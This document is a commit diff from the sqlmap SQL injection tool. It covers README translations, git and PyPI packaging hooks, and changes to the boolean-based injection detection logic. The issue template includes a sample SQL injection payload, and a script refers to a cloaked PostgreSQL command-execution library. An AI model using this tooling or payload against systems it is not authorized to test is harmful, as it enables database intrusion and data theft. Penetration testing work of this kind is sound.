Adding new tamper script plus2concat (thank you Luka Pusic)

Fix several typos

.gitattributes

@@ -1,5 +1,6 @@
-*.py text eol=lf
 *.conf text eol=lf
+*.md5 text eol=lf
+*.py text eol=lf
 
 *_ binary
 *.dll binary

ISSUE_TEMPLATE.md

@@ -0,0 +1,26 @@
+## What's the problem (or question)?
+<!--- If describing a bug, tell us what happens instead of the expected behavior -->
+<!--- If suggesting a change/improvement, explain the difference from current behavior -->
+
+## Do you have an idea for a solution?
+<!--- Not obligatory, but suggest a fix/reason for the bug, -->
+<!--- or ideas how to implement the addition or change -->
+
+## How can we reproduce the issue?
+<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->
+1.
+2.
+3.
+4.
+
+## What are the running context details?
+<!--- Include as many relevant details about the running context you experienced the bug/problem in -->
+* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
+* Client OS (e.g. `Microsoft Windows 10`)
+* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): 
+* Target DBMS (e.g. `Microsoft SQL Server`): 
+* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
+* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
+* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
+* Relevant console output (if any):
+* Exception traceback (if any):

README.md

@@ -57,8 +57,10 @@ Translations
 
 * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
 * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
+* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
 * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
 * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
+* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)

doc/CHANGELOG.md

@@ -76,7 +76,7 @@
 * Added option `--safe-post` to set POST data for sending to safe URL.
 * Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL.
 * Added option `--skip` to skip testing of given parameter(s).
-* Added switch `--skip-static` to skip testing parameters that not appear dynamic.
+* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
 * Added switch `--skip-urlencode` to skip URL encoding of payload data.
 * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
 * Added switch `--smart` to conduct thorough tests only if positive heuristic(s).

doc/THIRD-PARTY.md

@@ -312,3 +312,5 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 
 * The PyDes library located under thirdparty/pydes/.
    Copyleft 2009, Todd Whiteman.
+* The win_inet_pton library located under thirdparty/wininetpton/.
+   Copyleft 2014, Ryan Vennell.

doc/translations/README-fr-FR.md

@@ -0,0 +1,52 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
+
+----
+
+![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__.
+
+Installation
+----
+
+Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger le plus récent archive zip [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):
+
+    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)  
+
+Usage
+----
+
+Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez:
+
+    python sqlmap.py -h
+
+Pour afficher une liste complète des options et des commutateurs (switches), tapez:
+
+    python sqlmap.py -hh
+
+Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki).
+
+Liens
+----
+
+* Page d'acceuil: http://sqlmap.org
+* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
+* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-it-IT.md

@@ -0,0 +1,53 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
+
+Screenshot
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma.
+
+Installazione
+----
+
+Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap):
+
+    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
+
+Utilizzo
+----
+
+Per una lista delle opzioni e dei controlli di base:
+
+    python sqlmap.py -h
+
+Per una lista di tutte le opzioni e di tutti i controlli:
+
+    python sqlmap.py -hh
+
+Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601).
+Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) (disponibile solo in inglese).
+
+Link
+----
+
+* Sito: http://sqlmap.org
+* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
+* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Iscrizione alla Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+* Archivio della Mailing list: http://news.gmane.org/gmane.comp.security.sqlmap
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

extra/safe2bin/safe2bin.py

@@ -23,7 +23,7 @@ HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})"
 SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c"
 
 # Characters that don't need to be safe encoded
-SAFE_CHARS = "".join(filter(lambda x: x not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
+SAFE_CHARS = "".join(filter(lambda _: _ not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
 
 # Prefix used for hex encoded values
 HEX_ENCODED_PREFIX = r"\x"
@@ -47,7 +47,7 @@ def safecharencode(value):
     retVal = value
 
     if isinstance(value, basestring):
-        if any(_ not in SAFE_CHARS for _ in value):
+        if any([_ not in SAFE_CHARS for _ in value]):
             retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER)
             retVal = retVal.replace('\\', SLASH_MARKER)
 

extra/shutils/postcommit-hook.sh

@@ -8,14 +8,16 @@ FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
 
 if [ -f $FULLPATH ]
 then
-    LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"');
-    declare -a LINE;
+    LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"')
+    declare -a LINE
     NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE")
     if [ -n "$NEW_TAG" ]
     then
         git commit -am "Automatic monthly tagging"
-        echo "Creating new tag ${NEW_TAG}";
-        git tag $NEW_TAG;
+        echo "Creating new tag ${NEW_TAG}"
+        git tag $NEW_TAG
         git push origin $NEW_TAG
+        echo "Going to push PyPI package"
+        /bin/bash ${SCRIPTPATH%/*}/pypi.sh
     fi
-fi;
+fi

extra/shutils/precommit-hook

@@ -1,22 +0,0 @@
-#!/bin/bash
-
-SETTINGS="../../lib/core/settings.py"
-
-declare -x SCRIPTPATH="${0}"
-
-FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
-
-if [ -f $FULLPATH ]
-then
-    LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"');
-    declare -a LINE;
-    INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
-    if [ -n "$INCREMENTED" ]
-    then
-        sed "s/${LINE}/${INCREMENTED}/" $FULLPATH > $FULLPATH.tmp && mv $FULLPATH.tmp $FULLPATH
-        echo "Updated ${INCREMENTED} in ${FULLPATH}";
-    else
-        echo "Something went wrong in VERSION increment"
-        exit 1
-    fi
-fi;

extra/shutils/precommit-hook.sh

@@ -0,0 +1,30 @@
+#!/bin/bash
+
+PROJECT="../../"
+SETTINGS="../../lib/core/settings.py"
+CHECKSUM="../../txt/checksum.md5"
+
+declare -x SCRIPTPATH="${0}"
+
+PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
+SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
+CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
+
+if [ -f $SETTINGS_FULLPATH ]
+then
+    LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
+    declare -a LINE
+    INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
+    if [ -n "$INCREMENTED" ]
+    then
+        sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
+        echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
+    else
+        echo "Something went wrong in VERSION increment"
+        exit 1
+    fi
+    git add "$SETTINGS_FULLPATH"
+fi
+
+truncate -s 0 "$CHECKSUM_FULLPATH"
+cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done

extra/shutils/pylint.py

@@ -20,8 +20,8 @@ def check(module):
         print "CHECKING ", module
         pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
         for line in pout:
-            if  re.match("E....:.", line):
-                print line
+            if  re.match("\AE:", line):
+                print line.strip()
             if __RATING__ and "Your code has been rated at" in line:
                 print line
                 score = re.findall("\d.\d\d", line)[0]

extra/shutils/pypi.sh

@@ -0,0 +1,177 @@
+#!/bin/bash
+
+declare -x SCRIPTPATH="${0}"
+SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
+VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
+TYPE=pip
+TMP_DIR=/tmp/pypi
+mkdir $TMP_DIR
+cd $TMP_DIR
+cat > $TMP_DIR/setup.py << EOF
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from setuptools import setup, find_packages
+
+setup(
+    name='sqlmap',
+    version='$VERSION',
+    description="Automatic SQL injection and database takeover tool",
+    author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
+    author_email='[email protected], [email protected]',
+    url='https://sqlmap.org',
+    download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
+    license='GNU General Public License v2 (GPLv2)',
+    packages=find_packages(),
+    include_package_data=True,
+    zip_safe=False,
+    # https://pypi.python.org/pypi?%3Aaction=list_classifiers
+    classifiers=[
+        'Development Status :: 5 - Production/Stable',
+        'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',
+        'Natural Language :: English',
+        'Operating System :: OS Independent',
+        'Programming Language :: Python',
+        'Environment :: Console',
+        'Topic :: Database',
+        'Topic :: Security',
+    ],
+    entry_points={
+        'console_scripts': [
+            'sqlmap = sqlmap.sqlmap:main',
+        ],
+    },
+)
+EOF
+wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
+unzip sqlmap.zip
+rm sqlmap.zip
+mv "sqlmap-$VERSION" sqlmap
+cat > sqlmap/__init__.py << EOF
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import os
+import sys
+
+sys.dont_write_bytecode = True
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+EOF
+cat > README.rst << "EOF"
+sqlmap
+======
+
+|Build Status| |Python 2.6|2.7| |License| |Twitter|
+
+sqlmap is an open source penetration testing tool that automates the
+process of detecting and exploiting SQL injection flaws and taking over
+of database servers. It comes with a powerful detection engine, many
+niche features for the ultimate penetration tester and a broad range of
+switches lasting from database fingerprinting, over data fetching from
+the database, to accessing the underlying file system and executing
+commands on the operating system via out-of-band connections.
+
+Screenshots
+-----------
+
+.. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png
+   :alt: Screenshot
+
+
+You can visit the `collection of
+screenshots <https://github.com/sqlmapproject/sqlmap/wiki/Screenshots>`__
+demonstrating some of features on the wiki.
+
+Installation
+------------
+
+You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: ::
+
+    pip install --upgrade sqlmap
+
+Alternatively, you can download the latest tarball by clicking
+`here <https://github.com/sqlmapproject/sqlmap/tarball/master>`__ or
+latest zipball by clicking
+`here <https://github.com/sqlmapproject/sqlmap/zipball/master>`__.
+
+If you prefer fetching daily updates, you can download sqlmap by cloning the
+`Git <https://github.com/sqlmapproject/sqlmap>`__ repository:
+
+::
+
+    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap works out of the box with
+`Python <http://www.python.org/download/>`__ version **2.6.x** and
+**2.7.x** on any platform.
+
+Usage
+-----
+
+To get a list of basic options and switches use:
+
+::
+
+    python sqlmap.py -h
+
+To get a list of all options and switches use:
+
+::
+
+    python sqlmap.py -hh
+
+You can find a sample run `here <https://asciinema.org/a/46601>`__. To
+get an overview of sqlmap capabilities, list of supported features and
+description of all options and switches, along with examples, you are
+advised to consult the `user's
+manual <https://github.com/sqlmapproject/sqlmap/wiki>`__.
+
+Links
+-----
+
+-  Homepage: http://sqlmap.org
+-  Download:
+   `.tar.gz <https://github.com/sqlmapproject/sqlmap/tarball/master>`__
+   or `.zip <https://github.com/sqlmapproject/sqlmap/zipball/master>`__
+-  Commits RSS feed:
+   https://github.com/sqlmapproject/sqlmap/commits/master.atom
+-  Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+-  User's manual: https://github.com/sqlmapproject/sqlmap/wiki
+-  Frequently Asked Questions (FAQ):
+   https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+-  Mailing list subscription:
+   https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+-  Mailing list RSS feed:
+   http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+-  Mailing list archive:
+   http://news.gmane.org/gmane.comp.security.sqlmap
+-  Twitter: [@sqlmap](https://twitter.com/sqlmap)
+-  Demos: http://www.youtube.com/user/inquisb/videos
+-  Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+
+.. |Build Status| image:: https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master
+   :target: https://api.travis-ci.org/sqlmapproject/sqlmap
+.. |Python 2.6|2.7| image:: https://img.shields.io/badge/python-2.6|2.7-yellow.svg
+   :target: https://www.python.org/
+.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
+   :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING
+.. |Twitter| image:: https://img.shields.io/badge/[email protected]
+   :target: https://twitter.com/sqlmap
+
+.. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md
+.. http://rst.ninjs.org/
+EOF
+sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
+sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
+sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1`  lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5
+for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
+python setup.py sdist upload
+rm -rf $TMP_DIR

extra/shutils/regressiontest.py

@@ -22,7 +22,6 @@ from lib.core.revision import getRevisionNumber
 
 START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())
 SQLMAP_HOME = "/opt/sqlmap"
-REVISION = getRevisionNumber()
 
 SMTP_SERVER = "127.0.0.1"
 SMTP_PORT = 25
@@ -30,7 +29,7 @@ SMTP_TIMEOUT = 30
 FROM = "[email protected]"
 #TO = "[email protected]"
 TO = ["[email protected]", "[email protected]"]
-SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION)
+SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
 TARGET = "debian"
 
 def prepare_email(content):

extra/shutils/strip.sh

@@ -0,0 +1,15 @@
+#!/bin/bash
+
+# References:   http://www.thegeekstuff.com/2012/09/strip-command-examples/
+#               http://www.muppetlabs.com/~breadbox/software/elfkickers.html
+#               https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html
+
+# For example:
+# python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_
+# ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so
+# python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so
+# rm lib_postgresqludf_sys.so
+
+strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $*
+sstrip $*
+

lib/controller/action.py

@@ -48,9 +48,6 @@ def action():
         elif kb.nullConnection:
             errMsg += ". You can try to rerun without using optimization "
             errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
-        else:
-            errMsg += ". Support for this DBMS will be implemented at "
-            errMsg += "some point"
 
         raise SqlmapUnsupportedDBMSException(errMsg)
 
@@ -77,8 +74,7 @@ def action():
 
     if conf.getPasswordHashes:
         try:
-            conf.dumper.userSettings("database management system users password hashes",
-                                    conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
+            conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
         except SqlmapNoneDataException, ex:
             logger.critical(ex)
         except:
@@ -86,8 +82,7 @@ def action():
 
     if conf.getPrivileges:
         try:
-            conf.dumper.userSettings("database management system users privileges",
-                                    conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
+            conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
         except SqlmapNoneDataException, ex:
             logger.critical(ex)
         except:
@@ -95,8 +90,7 @@ def action():
 
     if conf.getRoles:
         try:
-            conf.dumper.userSettings("database management system users roles",
-                                    conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
+            conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
         except SqlmapNoneDataException, ex:
             logger.critical(ex)
         except:

lib/controller/checks.py

@@ -72,7 +72,9 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET
 from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IDS_WAF_CHECK_RATIO
 from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
+from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import URI_HTTP_HEADER
@@ -93,6 +95,13 @@ def checkSqlInjection(place, parameter, value):
     # Localized thread data needed for some methods
     threadData = getCurrentThreadData()
 
+    # Favoring non-string specific boundaries in case of digit-like parameter values
+    if value.isdigit():
+        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
+        boundaries = kb.cache.intBoundaries
+    else:
+        boundaries = conf.boundaries
+
     # Set the flag for SQL injection test mode
     kb.testMode = True
 
@@ -148,6 +157,7 @@ def checkSqlInjection(place, parameter, value):
             kb.testType = stype = test.stype
             clause = test.clause
             unionExtended = False
+            trueCode, falseCode = None, None
 
             if stype == PAYLOAD.TECHNIQUE.UNION:
                 configUnion(test.request.char)
@@ -310,12 +320,6 @@ def checkSqlInjection(place, parameter, value):
             comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
             fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
 
-            # Favoring non-string specific boundaries in case of digit-like parameter values
-            if value.isdigit():
-                boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
-            else:
-                boundaries = conf.boundaries
-
             for boundary in boundaries:
                 injectable = False
 
@@ -446,11 +450,13 @@ def checkSqlInjection(place, parameter, value):
                             kb.matchRatio = None
                             kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                             Request.queryPage(genCmpPayload(), place, raise404=False)
-                            falsePage = threadData.lastComparisonPage or ""
+                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
+                            falseRawResponse = "%s%s" % (falseHeaders, falsePage)
 
                             # Perform the test's True request
                             trueResult = Request.queryPage(reqPayload, place, raise404=False)
-                            truePage = threadData.lastComparisonPage or ""
+                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
+                            trueRawResponse = "%s%s" % (trueHeaders, truePage)
 
                             if trueResult and not(truePage == falsePage and not kb.nullConnection):
                                 # Perform the test's False request
@@ -471,31 +477,52 @@ def checkSqlInjection(place, parameter, value):
                                             kb.matchRatio = _
                                             logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
 
+                                    injectable = True
+
+                            if injectable:
+                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    if all((falseCode, trueCode)) and falseCode != trueCode:
+                                        conf.code = trueCode
+
+                                        infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --code=%d)" % (paramType, parameter, title, conf.code)
+                                        logger.info(infoMsg)
+                                    else:
+                                        trueSet = set(extractTextTagContent(trueRawResponse))
+                                        trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
+
+                                        falseSet = set(extractTextTagContent(falseRawResponse))
+                                        falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
+
+                                        candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
+
+                                        if candidates:
+                                            candidates = sorted(candidates, key=lambda _: len(_))
+                                            for candidate in candidates:
+                                                if re.match(r"\A\w+\Z", candidate):
+                                                    break
+
+                                            conf.string = candidate
+
+                                            infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
+                                            logger.info(infoMsg)
+
+                                        if not any((conf.string, conf.notString)):
+                                            candidates = filter(None, (_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)))
+
+                                            if candidates:
+                                                candidates = sorted(candidates, key=lambda _: len(_))
+                                                for candidate in candidates:
+                                                    if re.match(r"\A\w+\Z", candidate):
+                                                        break
+
+                                                conf.notString = candidate
+
+                                                infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (paramType, parameter, title, repr(conf.notString).lstrip('u').strip("'"))
+                                                logger.info(infoMsg)
+
+                                if not any((conf.string, conf.notString, conf.code)):
                                     infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
-                                    logger.info(infoMsg)
-
-                                    injectable = True
-
-                            if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
-                                trueSet = set(extractTextTagContent(truePage))
-                                trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
-
-                                falseSet = set(extractTextTagContent(falsePage))
-                                falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
-
-                                candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet)))
-
-                                if candidates:
-                                    candidates = sorted(candidates, key=lambda _: len(_))
-                                    for candidate in candidates:
-                                        if re.match(r"\A\w+\Z", candidate):
-                                            break
-                                    conf.string = candidate
-
